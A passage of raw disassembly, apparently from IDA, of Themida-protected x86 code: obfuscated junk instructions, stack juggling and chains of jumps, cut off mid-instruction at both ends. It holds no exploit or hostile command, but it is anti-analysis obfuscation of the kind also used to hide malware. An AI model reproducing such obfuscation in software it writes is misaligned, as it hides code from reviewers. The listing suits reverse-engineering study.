edi, esp sub esp, 4 jmp loc_5AEC34 ; --------------------------------------------------------------------------- loc_59C0C9: ; CODE XREF: Themida_:005AF294j mov ch, 0B5h shr ch, 4 sub ch, 5Fh add ah, ch pop ecx add cl, 69h add cl, ah sub cl, 69h mov eax, [esp] add esp, 4 add al, 0A3h add al, cl push ebx push ecx push eax mov ah, 0A3h mov cl, ah mov eax, [esp] add esp, 4 jmp loc_5A2CE5 ; --------------------------------------------------------------------------- loc_59C0FB: ; CODE XREF: Themida_:005ACAE5j inc edx inc edx sub edx, 5F0D728Ch jmp loc_59DF73 ; --------------------------------------------------------------------------- loc_59C108: ; CODE XREF: Themida_:005AA133j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] jmp loc_59BA41 ; --------------------------------------------------------------------------- loc_59C11D: ; CODE XREF: Themida_:005ABDF5j pop edx jmp loc_5A8769 ; --------------------------------------------------------------------------- loc_59C123: ; CODE XREF: Themida_:005A9F67j push 651h mov [esp], esi mov edi, [esp] sub esp, 4 mov [esp], esi mov esi, esp push ebp push ecx jmp loc_5A6A0A ; --------------------------------------------------------------------------- loc_59C13D: ; CODE XREF: Themida_:005A2405j mov edi, ebx pop ebx add ecx, 37DB4994h jmp loc_5A0DBA ; --------------------------------------------------------------------------- loc_59C14B: ; CODE XREF: Themida_:0059B3CFj sub ecx, 51F73E7Ch neg ecx add ecx, 2DFB3EC7h shl ecx, 8 xor ecx, 3A0621B0h push 3B6Dh mov [esp], eax push 277F3A6Eh jmp loc_5A4BBA ; --------------------------------------------------------------------------- loc_59C174: ; CODE XREF: Themida_:005A8147j sub esp, 4 mov [esp], edi push ecx push edx push 3C3F10DEh jmp loc_5A7FB2 ; --------------------------------------------------------------------------- loc_59C189: ; CODE XREF: Themida_:0059A953j ; Themida_:loc_59B3DEj pop edi jmp loc_5A6363 ; --------------------------------------------------------------------------- loc_59C18F: ; CODE XREF: Themida_:005AB5AAj or bl, 95h jmp loc_5A30BB ; --------------------------------------------------------------------------- loc_59C197: ; CODE XREF: Themida_:005AAC82j xchg ecx, [esp] pop esp mov edx, [esp] add esp, 4 push edi jmp loc_5A2147 ; --------------------------------------------------------------------------- loc_59C1A7: ; CODE XREF: Themida_:005ADA93j add eax, ecx add eax, 29820B73h push ebx push esi push 7404409Dh pop esi jmp loc_5A928D ; --------------------------------------------------------------------------- loc_59C1BB: ; CODE XREF: Themida_:0059D688j add esi, 4 add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] inc edi jnp loc_5A5742 shr edi, 5 jnz loc_5A6A04 push ebp jmp loc_59D459 ; --------------------------------------------------------------------------- mov ecx, 640E47F2h not ecx pop edi loc_59C1F6: ; CODE XREF: Themida_:005A09BAj sub ebx, eax pop eax add ebx, edx add ebx, 15EA4D38h push ebp mov ebp, 3AF20E65h inc ebp sub ebp, 0F3B8F549h sub ebx, ebp pop ebp pop edx sub ebx, 2 xchg ebx, [esp] jmp loc_59B745 ; --------------------------------------------------------------------------- loc_59C21D: ; CODE XREF: Themida_:0059B4A7j push edx jmp loc_5A73B1 ; --------------------------------------------------------------------------- loc_59C223: ; CODE XREF: Themida_:005AC828j sub eax, 77316277h pop esi xchg eax, [esp] mov esp, [esp] mov [esp], ecx xchg edi, [esp] not edi xchg edi, [esp] pop ecx xor eax, ecx xor ecx, eax jmp loc_599A4E ; --------------------------------------------------------------------------- loc_59C244: ; CODE XREF: Themida_:005A5B5Aj neg cl neg cl jmp loc_5A8B54 ; --------------------------------------------------------------------------- loc_59C24D: ; CODE XREF: Themida_:005A95B6j push ecx pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C254: ; CODE XREF: Themida_:005A79F5j ; Themida_:005AAD55j add esi, edi pop edi sub esp, 4 mov [esp], ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C274: ; CODE XREF: Themida_:005AA400j push ecx mov ecx, 1DC923AAh shr ecx, 4 jmp loc_59F813 ; --------------------------------------------------------------------------- loc_59C282: ; CODE XREF: Themida_:0059AA8Ej xor ebx, 0B369F022h mov ecx, ebx pop ebx push 0 sub [esp], ecx mov ecx, [esp] add esp, 4 xor ecx, 0CCD8914Fh add ebp, 42B62F9h add ebp, 686D676Dh jmp loc_5A9189 ; --------------------------------------------------------------------------- loc_59C2B0: ; CODE XREF: Themida_:005A294Cj mov [esp], eax push edi mov edi, 1440FF6h inc edi jg loc_5A497C add edi, 7CB402BAh jl loc_5A0008 loc_59C2CC: ; CODE XREF: Themida_:005A27CAj pop esi jmp loc_59CA67 ; --------------------------------------------------------------------------- loc_59C2D2: ; CODE XREF: Themida_:005AC412j mov [esp], ecx jmp loc_5A520B ; --------------------------------------------------------------------------- loc_59C2DA: ; CODE XREF: Themida_:005A512Dj xchg ebp, esi xor ebp, eax xor eax, ebp xor ebp, eax xchg eax, ebp jmp loc_5A5186 ; --------------------------------------------------------------------------- loc_59C2E8: ; CODE XREF: Themida_:005A647Ej pop ebp sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push esp jmp loc_5AB0AF ; --------------------------------------------------------------------------- loc_59C2FC: ; CODE XREF: Themida_:005A6F82j not edx shr edx, 5 xor edx, 338E1CA5h mov esi, edx jmp loc_5AC9D6 ; --------------------------------------------------------------------------- loc_59C30E: ; CODE XREF: Themida_:005A8646j push dword ptr [esp] pop ecx jmp loc_599FDB ; --------------------------------------------------------------------------- loc_59C317: ; CODE XREF: Themida_:005A4ABAj ; Themida_:005ADA07j xchg ebp, [esp] pop esp xor bh, al mov ax, [esp] add esp, 2 jmp loc_5A5B1D ; --------------------------------------------------------------------------- loc_59C32C: ; CODE XREF: Themida_:005A2007j sub ebx, 3F892558h jmp loc_5ABC89 ; --------------------------------------------------------------------------- loc_59C337: ; CODE XREF: Themida_:005A42EEj pop bx jmp loc_5AB755 ; --------------------------------------------------------------------------- loc_59C33E: ; CODE XREF: Themida_:0059D1A7j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5AE3DD ; --------------------------------------------------------------------------- loc_59C351: ; CODE XREF: Themida_:005A2136j push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_5A747A ; --------------------------------------------------------------------------- loc_59C364: ; CODE XREF: Themida_:0059C868j push eax push ebx mov ebx, 525F53BBh sub ebx, 20D867CAh and ebx, 51C06454h jno loc_5AC7B6 jmp loc_59E31D ; --------------------------------------------------------------------------- mov ebx, esp jmp loc_5ADCDA ; --------------------------------------------------------------------------- imul cl loc_59C38B: ; CODE XREF: Themida_:0059F69Bj mov edx, [esp] push ebp jmp loc_59DEA4 ; --------------------------------------------------------------------------- loc_59C394: ; CODE XREF: Themida_:005A1AB0j add eax, ebx jmp loc_59E31D ; --------------------------------------------------------------------------- loc_59C39B: ; CODE XREF: Themida_:005AAB6Aj mov ch, bl jmp loc_59D71A ; --------------------------------------------------------------------------- loc_59C3A2: ; CODE XREF: Themida_:0059D312j push ebp mov ebp, 2B965C7Dh sub ebp, 163C3AB0h push 239h mov [esp], eax mov eax, 4A216A0h sub eax, 0FFFFFFFFh sub eax, 1B040AE8h shl eax, 6 add eax, 0FF3B86F9h jmp loc_5AEAFE ; --------------------------------------------------------------------------- loc_59C3D2: ; CODE XREF: Themida_:0059A8FDj pop edx xchg eax, [esp] pop esp mov [esp], ebx mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_5A328C ; --------------------------------------------------------------------------- loc_59C3EA: ; CODE XREF: Themida_:005A53C6j mov ebx, 393A7D1Eh shl ebx, 7 sub ebx, 0D5C5FC2Fh add edx, 355C4354h jmp loc_5ABF9D ; --------------------------------------------------------------------------- loc_59C403: ; CODE XREF: Themida_:005AB8E7j mov esp, [esp] jmp loc_5ACC77 ; --------------------------------------------------------------------------- loc_59C40B: ; CODE XREF: Themida_:005ACABBj sub bx, 58D3h pop cx add bx, ax push 6C37h mov [esp], ecx push dx jmp loc_5A5D7F ; --------------------------------------------------------------------------- loc_59C424: ; DATA XREF: Themida_:005986D8o mov ax, [esp] sub esp, 4 jmp loc_5A1FFD ; --------------------------------------------------------------------------- loc_59C430: ; CODE XREF: Themida_:0059AB6Cj add ebx, edx sub ebx, 312E4B4Ah add ebx, 6ED40959h add eax, [ebx] push dword ptr [esp] push dword ptr [esp] jmp loc_59DDF3 ; --------------------------------------------------------------------------- loc_59C44B: ; CODE XREF: Themida_:005A8216j push 1C13h mov [esp], ebp push eax mov eax, 23F264Fh mov ebp, 5FB4B3A9h jmp loc_5AA613 ; --------------------------------------------------------------------------- loc_59C463: ; CODE XREF: Themida_:005A1EB9j ; Themida_:005AFB37j xor esi, 703B880Dh xor edx, esi pop esi push edx pop ebx pop edx jmp loc_5A53FE ; --------------------------------------------------------------------------- loc_59C474: ; CODE XREF: Themida_:005ADEF3j mov [esp], ebx mov ebx, 2 add esi, 7BD246CFh sub esi, 69A13E1Eh jmp loc_5AE06E ; --------------------------------------------------------------------------- loc_59C48D: ; CODE XREF: Themida_:0059F2E4j mov eax, 4 add ebp, eax jmp loc_59FA99 ; --------------------------------------------------------------------------- loc_59C499: ; CODE XREF: Themida_:005A6BBCj mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add esp, 4 xor edx, edx push 67B2h mov [esp], ebx push 0B34h mov [esp], ecx mov ecx, 397E7865h add [esp+4], ecx push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5A28C9 ; --------------------------------------------------------------------------- loc_59C4E7: ; CODE XREF: Themida_:00599234j add ebp, ebx pop ebx mov edx, [esp] jmp loc_5A28E4 ; --------------------------------------------------------------------------- loc_59C4F2: ; CODE XREF: Themida_:005A25FDj ; Themida_:005AA85Ej mov ecx, 77AF24F0h inc ecx jmp loc_5AD39C ; --------------------------------------------------------------------------- loc_59C4FD: ; CODE XREF: Themida_:0059F217j mov ecx, [esp] add esp, 4 xor al, dh mov dx, [esp] push 1693h mov [esp], ecx push edx mov edx, esp jmp loc_5A42FE ; --------------------------------------------------------------------------- loc_59C51C: ; CODE XREF: Themida_:0059AE99j mov edx, 11A279A2h shr edx, 5 xor edx, 1ED15D2Ch inc edx jmp loc_59C9D8 ; --------------------------------------------------------------------------- loc_59C530: ; CODE XREF: Themida_:005AD1E1j sub esp, 4 mov [esp], ecx push 1B28h mov [esp], ebx mov ebx, 592A4F0Fh mov ecx, 500D598Eh xor ecx, ebx mov ebx, [esp] jmp loc_59B809 ; --------------------------------------------------------------------------- loc_59C552: ; CODE XREF: Themida_:005A8E22j push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push esi push 7263h mov [esp], edi mov edi, 105422AFh mov esi, edi jmp loc_59D0C8 ; --------------------------------------------------------------------------- loc_59C584: ; CODE XREF: Themida_:loc_5993B6j ; Themida_:005ACBC5j mov edi, 5FC2463Bh or edi, 644936AFh not edi sub edi, 54F2358Ah shl edi, 1 jmp loc_5A8D0B ; --------------------------------------------------------------------------- loc_59C59E: ; CODE XREF: Themida_:0059B937j ; Themida_:005A6541j add ch, 54h jmp loc_5A3C51 ; --------------------------------------------------------------------------- loc_59C5A6: ; CODE XREF: Themida_:0059A641j jmp loc_5AEF3D ; --------------------------------------------------------------------------- loc_59C5AB: ; CODE XREF: Themida_:0059C610j sub [esp+4], cx pop cx jmp loc_5AA4E3 ; --------------------------------------------------------------------------- loc_59C5B7: ; CODE XREF: Themida_:005A42C6j xor esi, eax mov eax, [esp] add esp, 4 jmp loc_5A2DF9 ; --------------------------------------------------------------------------- loc_59C5C4: ; CODE XREF: Themida_:005ACDF2j mov ebx, esp sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], edx jmp loc_5A904A ; --------------------------------------------------------------------------- loc_59C5D7: ; CODE XREF: Themida_:0059E4BFj not esi add esi, 1 push ecx mov ecx, 3AEF0ED5h inc ecx shr ecx, 2 and ecx, 390347EDh jmp loc_59FE6B ; --------------------------------------------------------------------------- loc_59C5F4: ; CODE XREF: Themida_:005ABE3Dj dec esi jmp loc_59ECED ; --------------------------------------------------------------------------- loc_59C5FA: ; CODE XREF: Themida_:00598EE1j add esi, 4 add esi, 2 xchg esi, [esp] pop esp push cx mov cx, 3B15h jmp loc_59C5AB ; --------------------------------------------------------------------------- loc_59C615: ; CODE XREF: Themida_:005A9B52j sub eax, 5FC213D4h sub edi, eax jmp loc_5A36B2 ; --------------------------------------------------------------------------- loc_59C621: ; CODE XREF: Themida_:005AE63Ej movzx cx, ah jmp loc_598D48 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], esp push ebp push edi jmp loc_5A0F99 ; --------------------------------------------------------------------------- loc_59C64C: ; CODE XREF: Themida_:005A6F3Dj push esp pop ebp push 650h mov [esp], edi mov edi, 4 jmp loc_59E650 ; --------------------------------------------------------------------------- loc_59C660: ; CODE XREF: Themida_:005A9DA1j add esp, 4 mov ebp, ecx pop ecx jmp loc_5A32AB ; --------------------------------------------------------------------------- loc_59C66E: ; CODE XREF: Themida_:005AADA7j jmp loc_5989A3 ; --------------------------------------------------------------------------- lodsd push 430h jmp loc_5A3AA7 ; --------------------------------------------------------------------------- loc_59C67E: ; CODE XREF: Themida_:005AB131j pop esi jmp loc_59F3BA ; --------------------------------------------------------------------------- loc_59C684: ; CODE XREF: Themida_:0059C6A5j ; Themida_:0059D4CFj mov ebp, [esp] add esp, 4 jmp loc_5A32CC ; --------------------------------------------------------------------------- loc_59C692: ; CODE XREF: Themida_:005AF5D9j push dx mov dl, 0F7h add al, dl pop dx jmp loc_59EF4C ; --------------------------------------------------------------------------- loc_59C69F: ; CODE XREF: Themida_:005AD932j jns loc_5AB636 jmp loc_59C684 ; --------------------------------------------------------------------------- xor ebp, [esp] mov esp, [esp] mov ch, 0C4h loc_59C6B2: ; CODE XREF: Themida_:005A7512j inc ebx jmp loc_59DFDF ; --------------------------------------------------------------------------- loc_59C6B8: ; CODE XREF: Themida_:0059CF40j jmp loc_5AE764 ; --------------------------------------------------------------------------- loc_59C6BD: ; CODE XREF: Themida_:0059F10Ej mov ebx, [esp] add esp, 4 jmp loc_5AF4A4 ; --------------------------------------------------------------------------- loc_59C6C8: ; CODE XREF: Themida_:005993D4j ; Themida_:00599F36j mov ecx, esp jmp loc_5ABA64 ; --------------------------------------------------------------------------- loc_59C6CF: ; CODE XREF: Themida_:0059D789j ; Themida_:loc_59DAB6j mov ebx, [esp] add esp, 4 mov edi, [esp] add esp, 4 xchg ebp, [esp] pop esp push small word ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C6E7: ; CODE XREF: Themida_:005A86D2j mov ecx, [esp] add esp, 4 push edx mov edx, esp sub esp, 4 mov [esp], eax mov eax, 4 push edi jmp loc_5AD224 ; --------------------------------------------------------------------------- lodsd jmp loc_5A50D3 ; --------------------------------------------------------------------------- loc_59C70A: ; CODE XREF: Themida_:0059EDD3j mov eax, ebp push dword ptr [esp] pop ebp jmp loc_59B4CF ; --------------------------------------------------------------------------- loc_59C715: ; CODE XREF: Themida_:005AFC91j add ebx, 4C015AEEh sub ebx, esi sub ebx, 4C015AEEh jmp loc_5A550B ; --------------------------------------------------------------------------- loc_59C728: ; CODE XREF: Themida_:005A40A2j add ecx, edi mov edi, [esp] add esp, 4 xor ebp, ecx jmp loc_59D054 ; --------------------------------------------------------------------------- loc_59C737: ; CODE XREF: Themida_:005AEB00j pop eax jmp loc_5ADC01 ; --------------------------------------------------------------------------- loc_59C73D: ; CODE XREF: Themida_:0059DF5Aj pop ebp jmp loc_5AFA5D ; --------------------------------------------------------------------------- loc_59C743: ; CODE XREF: Themida_:0059B733j push 3AC1h jmp loc_5AE941 ; --------------------------------------------------------------------------- loc_59C74D: ; CODE XREF: Themida_:005A23BFj pop edi xor ecx, eax pop eax jmp loc_5A56B7 ; --------------------------------------------------------------------------- loc_59C756: ; CODE XREF: Themida_:005A54BAj push ebx mov bh, al push eax mov al, bh push ebx mov bl, al mov dh, bl pop ebx pop eax jmp loc_59D617 ; --------------------------------------------------------------------------- loc_59C768: ; CODE XREF: Themida_:0059D0E9j pop dword ptr [esp] pop esp mov [esp], edi push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 sub ecx, eax pop eax xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, 5FEA7C51h or ebx, 2E806E9Ah jge loc_5AD63B not ebx push esi mov esi, 740E4F9Dh push ecx pop eax loc_59C7A3: ; CODE XREF: Themida_:005A1DCDj mov edx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C7BF: ; CODE XREF: Themida_:005A2F1Ej pop ebp add ebp, 4 push ebx mov ebx, 2 add ebp, ebx jmp loc_59926D ; --------------------------------------------------------------------------- loc_59C7D3: ; CODE XREF: Themida_:005A6A17j and ecx, 0BA5305Dh jmp loc_59A7E3 ; --------------------------------------------------------------------------- loc_59C7DE: ; CODE XREF: Themida_:0059DB2Aj add esp, 4 jmp loc_599F1A ; --------------------------------------------------------------------------- loc_59C7E6: ; CODE XREF: Themida_:005ADB4Cj ; Themida_:005AEC99j neg ebx and ebx, 360C487Dh not ebx push esi mov esi, 9B478EA7h xor ebx, esi jmp loc_59ED2C ; --------------------------------------------------------------------------- loc_59C7FD: ; CODE XREF: Themida_:005A666Aj push eax mov eax, 1D016C51h shl eax, 1 not eax sub eax, 5DA75483h xor eax, 71FA3CD2h push edi jmp loc_5AA280 ; --------------------------------------------------------------------------- loc_59C817: ; CODE XREF: Themida_:0059D545j pop edx add esp, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_5A7EA2 ; --------------------------------------------------------------------------- loc_59C829: ; CODE XREF: Themida_:005A76DDj dec ebx xor ebx, 13FD51D0h jmp loc_5A9EDC ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0FEh db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C83B: ; CODE XREF: Themida_:005AB5F0j mov esi, edi pop edi add eax, 2BB84577h sub eax, 24276411h sub eax, esi add eax, 24276411h jmp loc_5A9658 ; --------------------------------------------------------------------------- loc_59C854: ; CODE XREF: Themida_:0059F871j or eax, 386950FDh dec eax jmp loc_59A400 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esi jmp loc_59C364 ; --------------------------------------------------------------------------- loc_59C86D: ; CODE XREF: Themida_:005ABF5Ej mov [esp], si not word ptr [esp] mov si, [esp] push edi push esp pop edi push edx mov edx, 4 add edi, edx jmp loc_598F59 ; --------------------------------------------------------------------------- loc_59C889: ; CODE XREF: Themida_:005A4E3Ej mov ebp, edx jmp loc_5A6316 ; --------------------------------------------------------------------------- loc_59C890: ; CODE XREF: Themida_:005A44D2j push ecx push 0 mov ecx, [esp] add esp, 4 push ebp mov ebp, ecx mov ebx, ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] jmp loc_59AD96 ; --------------------------------------------------------------------------- loc_59C8AF: ; CODE XREF: Themida_:005ACA74j add dword ptr [esp], 4 mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A5424 ; --------------------------------------------------------------------------- loc_59C8D1: ; CODE XREF: Themida_:005AD68Cj xor esi, ebp jmp loc_5A3E67 ; --------------------------------------------------------------------------- loc_59C8D8: ; CODE XREF: Themida_:005A578Cj xor eax, edi jmp loc_5A21AA ; --------------------------------------------------------------------------- loc_59C8DF: ; CODE XREF: Themida_:005A6B56j sub esp, 4 jmp loc_59A3A3 ; --------------------------------------------------------------------------- loc_59C8E7: ; CODE XREF: Themida_:005A0B08j pop esp jmp loc_59ABD8 ; --------------------------------------------------------------------------- loc_59C8ED: ; CODE XREF: Themida_:005A9D10j xor esi, 0B4A6D0E3h mov edx, esi pop esi jmp loc_59B813 ; --------------------------------------------------------------------------- loc_59C8FB: ; CODE XREF: Themida_:005997A2j push edi jmp loc_5A484D ; --------------------------------------------------------------------------- loc_59C901: ; CODE XREF: Themida_:005AF13Dj add al, 0A5h pop dx push 56ECh mov [esp], ecx mov ch, 0CBh push ecx push eax mov ah, dl mov dl, [esp+5] mov [esp+5], ah pop eax not dl xchg dl, [esp+1] mov ecx, [esp] add esp, 4 jmp loc_5A0BB2 ; --------------------------------------------------------------------------- loc_59C930: ; CODE XREF: Themida_:0059D480j add edx, eax push ebx mov ebx, 63FC36DCh jmp loc_5A7BC7 ; --------------------------------------------------------------------------- loc_59C93D: ; CODE XREF: Themida_:0059D627j mov esi, 4 add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] pop esp pop ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C955: ; CODE XREF: Themida_:00599C3Fj push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx add edx, 4 xchg edx, [esp] jmp loc_5A58DB ; --------------------------------------------------------------------------- loc_59C96F: ; CODE XREF: Themida_:005A80AAj xor ch, bh pop bx push bx push ecx jmp loc_5ABDD4 ; --------------------------------------------------------------------------- loc_59C97B: ; CODE XREF: Themida_:005AFDD2j push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] add ecx, 4 jmp loc_5A0726 ; --------------------------------------------------------------------------- loc_59C991: ; CODE XREF: Themida_:005AA616j sub eax, 60694804h sub eax, 70511C9Eh add eax, 9F73FC5h add eax, ebp push 7ADCh mov [esp], ebp mov ebp, 59525FFBh xor ebp, 4835A3Eh xor ebp, 48C83529h add ebp, 1 jmp loc_59B5DF ; --------------------------------------------------------------------------- loc_59C9C6: ; CODE XREF: Themida_:005AFD99j pop ebx xor ebx, 40927A3h pop ebp push ebx not dword ptr [esp] pop ebx jmp loc_59E692 ; --------------------------------------------------------------------------- loc_59C9D8: ; CODE XREF: Themida_:0059C52Bj jo loc_5AD008 xor edx, 4791562Eh push edx jmp loc_5AAB6F ; --------------------------------------------------------------------------- loc_59C9EA: ; CODE XREF: Themida_:005AD218j mov [esp], esi mov esi, esp push ecx mov ecx, 57240B1Fh jmp loc_59FC5E ; --------------------------------------------------------------------------- loc_59C9FA: ; CODE XREF: Themida_:005A4F53j xor ebx, 0DD3A16E9h add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp] pop esp push ecx jmp loc_59FD64 ; --------------------------------------------------------------------------- loc_59CA13: ; CODE XREF: Themida_:005A6763j push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], edx push 3500h mov [esp], ebx jmp loc_59BD0F ; --------------------------------------------------------------------------- loc_59CA30: ; CODE XREF: Themida_:loc_5AE30Bj push eax push ebx mov ebx, 0EF7779Fh mov eax, ebx pop ebx xor edi, eax push dword ptr [esp] jmp loc_5A8EB7 ; --------------------------------------------------------------------------- loc_59CA44: ; CODE XREF: Themida_:005AABECj pop ecx push 1C97h jmp loc_5A0ECA ; --------------------------------------------------------------------------- loc_59CA4F: ; CODE XREF: Themida_:005AE8E0j pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, 166C562Bh or eax, ecx mov ecx, [esp] jmp loc_59AF9B ; --------------------------------------------------------------------------- loc_59CA67: ; CODE XREF: Themida_:0059C2CDj push 604Eh mov [esp], edi mov edi, 2 push ebx mov ebx, 19C10434h xor ebx, esi jmp loc_59D036 ; --------------------------------------------------------------------------- loc_59CA81: ; CODE XREF: Themida_:005A57DDj pop eax jmp loc_5A5942 ; --------------------------------------------------------------------------- loc_59CA87: ; CODE XREF: Themida_:0059F40Bj push 2A90h jmp loc_5AF02E ; --------------------------------------------------------------------------- loc_59CA91: ; CODE XREF: Themida_:005A786Ej shr edi, 1 xchg ecx, edi jmp loc_5A4509 ; --------------------------------------------------------------------------- loc_59CA9A: ; CODE XREF: Themida_:005A1F6Bj pop esi jmp loc_5A6B4A ; --------------------------------------------------------------------------- loc_59CAA0: ; CODE XREF: Themida_:00598BB9j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp mov ebp, esp jmp loc_59BDE6 ; --------------------------------------------------------------------------- loc_59CAB4: ; CODE XREF: Themida_:005A8013j mov dl, cl jmp loc_59941C ; --------------------------------------------------------------------------- loc_59CABB: ; CODE XREF: Themida_:005991E3j add ecx, 81CA8826h push eax jmp loc_5A6178 ; --------------------------------------------------------------------------- loc_59CAC7: ; CODE XREF: Themida_:005AB244j add edi, ebx jmp loc_5A5A7D ; --------------------------------------------------------------------------- loc_59CACE: ; CODE XREF: Themida_:005AFBF4j pop edx sub ebp, 7D0F7E5Dh add ebp, edi add ebp, 7D0F7E5Dh pop edi jmp loc_59F94A ; --------------------------------------------------------------------------- loc_59CAE3: ; CODE XREF: Themida_:005A5B35j pop ebx jmp loc_59B22F ; --------------------------------------------------------------------------- loc_59CAE9: ; CODE XREF: Themida_:005A06A0j xor eax, 6F07540Bh sub esp, 4 mov [esp], eax xor dword ptr [esp], 23256592h pop edi jmp loc_5A19F4 ; --------------------------------------------------------------------------- loc_59CB01: ; CODE XREF: Themida_:0059D8DBj sub esp, 2 jmp loc_5A66A9 ; --------------------------------------------------------------------------- loc_59CB0C: ; CODE XREF: Themida_:loc_59B7E9j sub edi, 2D340FE3h jnb loc_5AC92C jmp loc_59CFB7 ; --------------------------------------------------------------------------- push ecx mov ecx, esp mov dh, 9 push ebp loc_59CB24: ; CODE XREF: Themida_:005ABD73j mov [esp], ecx push ebx mov ebx, 37E94131h shl ebx, 7 jmp loc_5ABA9D ; --------------------------------------------------------------------------- loc_59CB35: ; CODE XREF: Themida_:0059B5C3j add ebx, 4 push ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] jmp loc_59FFDD ; --------------------------------------------------------------------------- dd 0DE004BB3h, 0FFFCE0E9h db 0FFh ; --------------------------------------------------------------------------- loc_59CB55: ; CODE XREF: Themida_:loc_5A0FABj ; Themida_:005A3B3Fj mov dl, 0C3h jmp loc_5ADF29 ; --------------------------------------------------------------------------- loc_59CB5C: ; CODE XREF: Themida_:005AB479j mov dh, ah jmp loc_5AB829 ; --------------------------------------------------------------------------- loc_59CB63: ; CODE XREF: Themida_:005AEA3Ej pop esi jmp loc_5A9A3F ; --------------------------------------------------------------------------- loc_59CB69: ; CODE XREF: Themida_:005A43A4j and ebx, 9083636h add ebx, 0F6F7FA00h mov ecx, ebx pop ebx add [esp+4], ecx pop ecx pop esi jmp loc_5AB65F ; --------------------------------------------------------------------------- loc_59CB83: ; CODE XREF: Themida_:005A4C22j ; Themida_:loc_5AFBA2j push ebx mov ebx, 46AF31A4h dec ebx push ebp mov ebp, 5A215DE6h jmp loc_59EABA ; --------------------------------------------------------------------------- loc_59CB95: ; CODE XREF: Themida_:loc_5A6843j dec edx jmp loc_59BCFE ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h add dword ptr [esp], 4 mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4 add edx, eax pop eax push ebp jmp loc_5A04C8 ; --------------------------------------------------------------------------- loc_59CBC5: ; CODE XREF: Themida_:005ADB25j pop edi mov esi, edx mov edx, [esp] jmp loc_598AE1 ; --------------------------------------------------------------------------- loc_59CBD0: ; CODE XREF: Themida_:005AB5B3j ; Themida_:005AC50Ej ... jmp loc_5AEBAE ; --------------------------------------------------------------------------- loc_59CBD5: ; CODE XREF: Themida_:0059AD7Bj add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_5A2446 ; --------------------------------------------------------------------------- loc_59CBEF: ; CODE XREF: Themida_:0059B6F3j pop ebx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59CBF5: ; CODE XREF: Themida_:0059B944j mov ebp, [esp] add esp, 4 jmp loc_5A9466 ; --------------------------------------------------------------------------- loc_59CC03: ; CODE XREF: Themida_:005AF7A0j jmp loc_5AD51A ; --------------------------------------------------------------------------- loc_59CC08: ; CODE XREF: Themida_:0059A1EDj xchg eax, edx not eax push edx push eax jmp loc_5AF34B ; --------------------------------------------------------------------------- loc_59CC12: ; CODE XREF: Themida_:loc_5A98C0j sub edx, 0FFFFFFFFh shl edx, 2 jmp loc_59E16B ; --------------------------------------------------------------------------- loc_59CC20: ; CODE XREF: Themida_:00598BC1j xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, 4 sub edx, 462D760Eh sub edx, 23386CC0h add edx, 1C945883h add edx, ebx sub edx, 1C945883h jmp loc_5AA5C5 ; --------------------------------------------------------------------------- loc_59CC4B: ; CODE XREF: Themida_:005A2DA3j add edi, 2E7F2384h jmp loc_59FFAC ; --------------------------------------------------------------------------- loc_59CC56: ; CODE XREF: Themida_:005AD58Dj pop ebp push ebx mov ebx, 0A43B87D1h xor eax, ebx pop ebx push ecx mov ecx, 34C21408h sub ecx, 0EB5EBA5Eh sub esi, ecx jmp loc_5A3D68 ; --------------------------------------------------------------------------- loc_59CC73: ; CODE XREF: Themida_:0059C054j push esi mov esi, 31322E25h sub ebx, esi jmp loc_5A4D9D ; --------------------------------------------------------------------------- loc_59CC80: ; CODE XREF: Themida_:005AD4F5j add eax, 38B52EF3h add eax, 685B7E5Ch jmp loc_59FA21 ; --------------------------------------------------------------------------- loc_59CC8F: ; CODE XREF: Themida_:005ACEF5j sub ebx, 3F346D6h jmp loc_5AE35D ; --------------------------------------------------------------------------- loc_59CC9A: ; CODE XREF: Themida_:005AAFF7j pop esi add edi, 0FFFFFFFFh shl edi, 